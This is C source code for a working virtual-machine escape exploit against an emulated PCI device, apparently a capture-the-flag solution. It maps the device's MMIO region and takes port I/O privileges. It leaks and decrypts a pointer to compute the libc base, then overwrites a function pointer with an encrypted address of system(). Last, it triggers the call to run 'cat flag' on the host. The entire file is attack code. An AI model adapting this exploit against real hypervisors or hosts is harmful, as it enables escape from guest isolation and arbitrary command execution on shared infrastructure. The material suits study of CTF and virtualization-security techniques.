1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h>
uint32_t pmio_base = 0xc040; unsigned char* mmio_mem;
void die(const char *message) { perror(message); exit(-1); }
uint64_t decrypt(uint32_t x, uint64_t y) { uint32_t i = 0; do { i -= 0x61C88647; x += (i + y) ^ (((unsigned int)y >> 5)) ^ (y << 4); y = (uint32_t)(((i + x) ^ ((x >> 5)) ^ ( x << 4)) + y); } while (i != 0xC6EF3720);
printf("x = %p, y = %p , i = %p\n",x,y,i); uint64_t ans = (y << 32) + x; printf("ans = %p\n",ans); return ans - 0x4AEB0; }
uint64_t encrypt(uint64_t x){ uint32_t v4 = x; uint64_t result = x >> 32; uint32_t addr = 0xC6EF3720; do { result = (uint32_t)(result - ((v4 + addr) ^ (v4 >> 5) ^ (v4 << 4))); v4 -= (result + addr) ^ (((unsigned int)result >> 5)) ^ (16 * result); addr += 0x61C88647; } while(addr) ; return result << 32 | v4; }
void pmio_write(uint32_t addr, uint32_t val) { outl(val, addr); }
uint64_t pmio_read(uint32_t addr) { return inl(addr); }
uint32_t mmio_read(uint32_t addr){ return *((uint32_t*)(mmio_mem + addr)); }
void mmio_write(uint32_t addr, uint32_t val) { *((uint32_t*)(mmio_mem + addr)) = val; }
void set_seek(int seek) { pmio_write(pmio_base + 8, seek); }
void reset_keys(){ pmio_write(pmio_base + 4, 0); }
int main(int argc, char *argv[]) { uint32_t tmp, tmp1, tmp2; int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) die("mmio_fd mmap failed");
if (iopl(3) != 0) die("port permission is not enough");
reset_keys(); set_seek(0x100);
uint32_t x; uint64_t y, libc_base; x = mmio_read(24); y = mmio_read(24); libc_base = decrypt(x, y); printf("libc_base = %p\n", libc_base); uint64_t system = libc_base + 0x0000000000055410; mmio_write(24, (uint32_t)(encrypt(system))); mmio_write(24, (uint32_t)(encrypt(system) >> 32));
uint32_t flag1 = 0x20746163; uint64_t flag2 = 0x67616c66;
set_seek(0); mmio_write(0, (uint32_t)(encrypt(flag2))); mmio_write(0, (uint32_t)(encrypt(flag2) >> 32));
pmio_write(28 + pmio_base,flag1); return 0; }
|